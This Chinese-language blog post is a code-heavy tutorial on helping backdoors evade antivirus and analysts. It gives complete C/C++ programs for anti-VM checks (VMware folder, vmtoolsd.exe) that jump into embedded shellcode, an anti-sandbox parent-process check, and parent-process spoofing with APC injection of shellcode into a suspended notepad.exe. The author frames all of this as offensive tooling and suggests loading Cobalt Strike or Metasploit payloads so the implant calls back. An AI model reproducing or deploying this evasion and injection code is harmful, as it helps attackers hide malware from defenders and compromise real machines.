Drunkmars's Blog

调试与反调试的探究

字数统计: 2.9k阅读时长: 13 min
2021/10/04

最近在研究免杀这一块的知识,说到免杀肯定就逃不过沙箱。对于沙箱的通俗理解就是一个安全的箱子,这个箱子能够模拟出软件执行苏需要的环境(如模拟虚拟机环境),通过hook跳转到自己的函数进行行为分析。所以我们的后门文件想要更好的躲避杀软的查杀,首先肯定要做好反调试才能在对抗杀软时后顾无忧。

反虚拟机调试

我想现在一般的沙箱都不会是虚拟机环境,但如果我们在对抗的过程中被蓝队人员拿到了样本,他想用od去调一下这个程序怎么走的,肯定也不会拿到本机里面调,如果这个exe有毒,那电脑就全完了,所以最好的选择还是虚拟机环境,首先反调试的第一个目标就是反虚拟机调试。

根据文件路径

查阅资料后发现如果使用虚拟机,一般的路径都为(在没有修改过的情况下)

1
C:\Program Files\VMware

image-20210705093950274

那么第一种反虚拟机的方式就是通过判断C盘目录下是否有这个文件夹,这里用到``PathIsDirectory`这个api

1
2
3
BOOL PathIsDirectoryA(
LPCSTR pszPath //指向包含要验证的路径的最大长度为 MAX_PATH 的空终止字符串的指针
);

如果路径是有效目录,则返回 (BOOL)FILE_ATTRIBUTE_DIRECTORY;否则返回FALSE

那么这里我们就可以进行判断,如果存在这个路径则向下执行代码

1
if (PathIsDirectory("C:\\Program Files\\VMware"))

使用__asm把参数传进去,并定义一个shellcode,存在这个路径则弹窗

1
2
3
4
5
__asm{
lea eax, shellcode;
push eax;
ret;
}

完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include "stdafx.h"
#include <Windows.h>
#include "shlwapi.h"
#pragma comment(lib, "shlwapi.lib")

char shellcode[] =
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8";

int main(int argc, CHAR* argv[])
{
if (PathIsDirectory("C:\\Program Files\\VMware"))
{
__asm{
lea eax, shellcode;
push eax;
ret;
}

}
return 0;
}

实现效果如下所示

image-20210705094734652

这里思考了一下,弄个弹窗出来过于明显,那么也可以直接exit()退出我们写的程序,或者直接把shellcode换成cs的直接回连上线

根据进程信息

这里在查看几个虚拟机后发现vm的默认进程有vmtoolsd.exevmacthlp.exe,这里直接判断进程是否存在即可起到反调试的效果

image-20210705103024033

通过CreateToolhelp32Snapshot这个API来拍摄进程快照,再比对PROCESSENTRY32 中的szExeFile与进程名是否相同即可

实现代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include "stdafx.h"
#include <Windows.h>
#include "shlwapi.h"
#pragma comment(lib, "shlwapi.lib")

char shellcode[] =
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8";

{
DWORD ret = 0;

HWND hListModules;

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hSnapshot == INVALID_HANDLE_VALUE)
{
return FALSE;
}

PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32); //初始化空间
BOOL pr = Process32First(hSnapshot, &pe32); //快照句柄&指向PROCESSENTRY32的指针

while(pr)
{
if (strcmp(pe32.szExeFile, "vmtoolsd.exe")== 0) // if (strcmp(pe32.szExeFile, "vmacthlp.exe")==0)
{
__asm
{
lea eax,shellcode;
jmp eax;
}
return TRUE;
}
pr = Process32Next(hSnapshot, &pe32);
}
CloseHandle(hSnapshot);
}

反沙箱调试

最简单的反调试的措施就是检测父进程。一般来说,我们手动点击执行的程序的父进程都是explorer。如果一个程序的父进程不是explorer,那么我们就可以认为他是由沙箱启动的。那么我们就直接exit退出,这样,杀软就无法继续对我们进行行为分析了。

这里的思路是使用CreateToolhelp32Snapshot拍摄快照,从快照中获取explorer.exe的id,再根据pid在进程快照中获取其父进程的id信息,两者进行比较,若相同则不为沙箱可以继续运行程序,若不相同则为沙箱直接exit()退出程序

首先通过调用CreateToolhelp32Snapshot拍摄快照

1
2
HMODULE hModule = LoadLibrary(_T("Kernel32.dll"));
FARPROC Address = GetProcAddress(hModule, "CreateToolhelp32Snapshot");

然后使用汇编语句进行传参

1
2
3
4
5
6
_asm{
push 0
push 2
call Address
mov hkz, eax
}

因为传参的话是从右往左传参,传入的第一个参数就是2,在createtoolhelp32snapshot里第一个参数为2的时候含义如下

image-20211003221740066

第二个参数传入0,代表的是默认进程

image-20211003221812310

遍历结构并返回父进程

1
2
3
4
5
6
7
8
9
10
if ( Process32First( hkz, &pe ) ){
do{
if ( pe.th32ProcessID == pid ){
ParentProcessID = pe.th32ParentProcessID;
break;
}
}
while ( Process32Next( hkz, &pe ) );
}
return ParentProcessID;

然后再编写一个函数获取explorer.exe 的pid,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
DWORD get_explorer_processid() 
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);

if (Process32First(snapshot, &process))
{
do
{
if (!wcscmp(process.szExeFile, L"explorer.exe"))
break;
} while (Process32Next(snapshot, &process));
}

CloseHandle(snapshot);
return process.th32ProcessID;
}

然后再对两个函数返回的ID进行比较,如果ID相同则不为沙箱,若不相同的话则直接退出

image-20211003222448120

完整代码如下,若相同则弹窗,若不相同则直接退出程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
// testvm.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>

DWORD get_parent_processid(DWORD pid)
{
DWORD ParentProcessID = -1;

PROCESSENTRY32 pe;

HANDLE hkz;

HMODULE hModule = LoadLibrary(_T("Kernel32.dll"));

FARPROC Address = GetProcAddress(hModule, "CreateToolhelp32Snapshot");

if (Address == NULL) {
OutputDebugString(_T("GetProc error"));
return(-1);
}

_asm {
push 0
push 2
call Address
mov hkz, eax
}

pe.dwSize = sizeof(PROCESSENTRY32);

if (Process32First(hkz, &pe)) {
do {
if (pe.th32ProcessID == pid) {
ParentProcessID = pe.th32ParentProcessID;
break;
}
} while (Process32Next(hkz, &pe));
}
return ParentProcessID;
}


DWORD get_explorer_processid()
{ //返回explorer.exe的pid
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);

if (Process32First(snapshot, &process))
{
do
{
if (!wcscmp(process.szExeFile, L"explorer.exe"))
break;
} while (Process32Next(snapshot, &process));
}

CloseHandle(snapshot);
return process.th32ProcessID;
}


int main() {
DWORD explorer_id = get_explorer_processid();
DWORD parent_id = get_parent_processid(GetCurrentProcessId());
if (explorer_id == parent_id)
{ /* 判断父进程id是否和explorer进程id相同{ */
MessageBox(0, L"Not sandbox", L"Success", 0);
}
else
{
exit(1);
}
}

实现效果

在正常情况下运行的话pid是相同的那么弹窗不为沙箱

image-20211003224110914

如果是我直接在vs里面运行一下进行调试就报错直接退出

image-20211003224437259

这里再拿到od里面调试一下可以看到直接终止了

testvm

父进程伪造

在进行完反沙箱调试之后,我不禁又想,有没有一种方法能够伪造父进程为explorer.exe呢,那么上面这种反调试的方法就行不通了。

首先分析一下要伪造父进程肯定要先知道explorer.exe的id,再创建进程和线程

OpenProcessCreateProcess这几个常用api就不提了,伪造父进程最重要的一个api就是InitializeProcThreadAttributeList

InitializeProcThreadAttributeList

用于初始化指定的属性列表以创建进程和线程

1
2
3
4
5
6
BOOL InitializeProcThreadAttributeList(
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
DWORD dwAttributeCount,
DWORD dwFlags,
PSIZE_T lpSize
);
1
lpAttributeList

The attribute list. This parameter can be NULL to determine the buffer size required to support the specified number of attributes.

1
dwAttributeCount

The count of attributes to be added to the list.

1
dwFlags

This parameter is reserved and must be zero.

1
lpSize

If lpAttributeList is not NULL, this parameter specifies the size in bytes of the lpAttributeList buffer on input. On output, this parameter receives the size in bytes of the initialized attribute list.

If lpAttributeList is NULL, this parameter receives the required buffer size in bytes.

image-20211004151223985

另外还有个重要的结构体STARTUPINFOEXA

1
2
3
4
typedef struct _STARTUPINFOEXA {
STARTUPINFOA StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
1
StartupInfo

A STARTUPINFO structure.

1
lpAttributeList

An attribute list. This list is created by the InitializeProcThreadAttributeList function.

首先还是要找到explorer.exe的pid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DWORD getParentProcessID() 
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);

if (Process32First(snapshot, &process))
{
do
{
//If you want to another process as parent change here
if (!wcscmp(process.szExeFile, L"explorer.exe"))
break;
} while (Process32Next(snapshot, &process));
}

CloseHandle(snapshot);
return process.th32ProcessID;
}

然后就是父进程伪造的代码,这一块我自己写了一小段尝试,但是写着写着就没思路了,不知道结构该怎么用,还是太菜了,这里跟一下大佬的代码吧

首先OpenProcess打开进程,这里调用之前写的getParentProcessID获取PID

1
HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID()); 

然后ZeroMemory置空

1
ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA)); 

使用InitializeProcThreadAttributeList 为线程进程创建初始化指定的属性列表,注意第三个参数保留必须为0

1
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);

HeapAlloc在堆里面分配内存,GetProcessHeap检索调用进程默认堆的句柄

1
sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT); 

然后更新指令属性

1
UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL); 

创建进程

1
2
3
4
5
6
7
8
9
10
CreateProcessA("C:\\Windows\\System32\\notepad.exe", 
NULL,
NULL,
NULL,
TRUE,
CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX),
&pInfo);

分配内存并写入内存

1
2
3
4
5
6
7
//分配内存
LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

SIZE_T* lpNumberOfBytesWritten = 0;

//写入内存
BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);

进行APC调用

1
2
//APC调用
QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);

启动线程

1
ResumeThread(pInfo.hThread); 

完整代码如下,这里shellcode可以用cs的shellcode或者msf的shellcode,生成之后就可以上线

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
// Parent spoofing.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>

DWORD getParentProcessID()
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);

if (Process32First(snapshot, &process))
{
do
{
if (!wcscmp(process.szExeFile, L"explorer.exe"))
{
printf("Find explorer failed!\n");
break;
}
} while (Process32Next(snapshot, &process));
}

CloseHandle(snapshot);
return process.th32ProcessID;
}

int main()
{
unsigned char shellCode[] ="";

STARTUPINFOEXA sInfoEX;
PROCESS_INFORMATION pInfo;
SIZE_T sizeT;

//打开explorer进程获取当前进程所有权限
HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());

//用0填充数组
ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));

//初始化指定的属性列表,创建进程和线程
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);

//设置进程属性并从堆中分配内存
sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);

InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);

//更新用于进程和线程创建的属性列表中的指定属性
UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);

sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);

CreateProcessA("C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
NULL,
TRUE,
CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX),
&pInfo);

//分配内存
LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

SIZE_T* lpNumberOfBytesWritten = 0;

//写入内存
BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);

//APC调用
QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);

//启动线程
ResumeThread(pInfo.hThread);
CloseHandle(pInfo.hThread);

return 0;
}

这里启动的是notepad.exe,实现效果如下

Parent spoofing

CATALOG
  1. 1. 反虚拟机调试
    1. 1.1. 根据文件路径
    2. 1.2. 根据进程信息
  2. 2. 反沙箱调试
  3. 3. 父进程伪造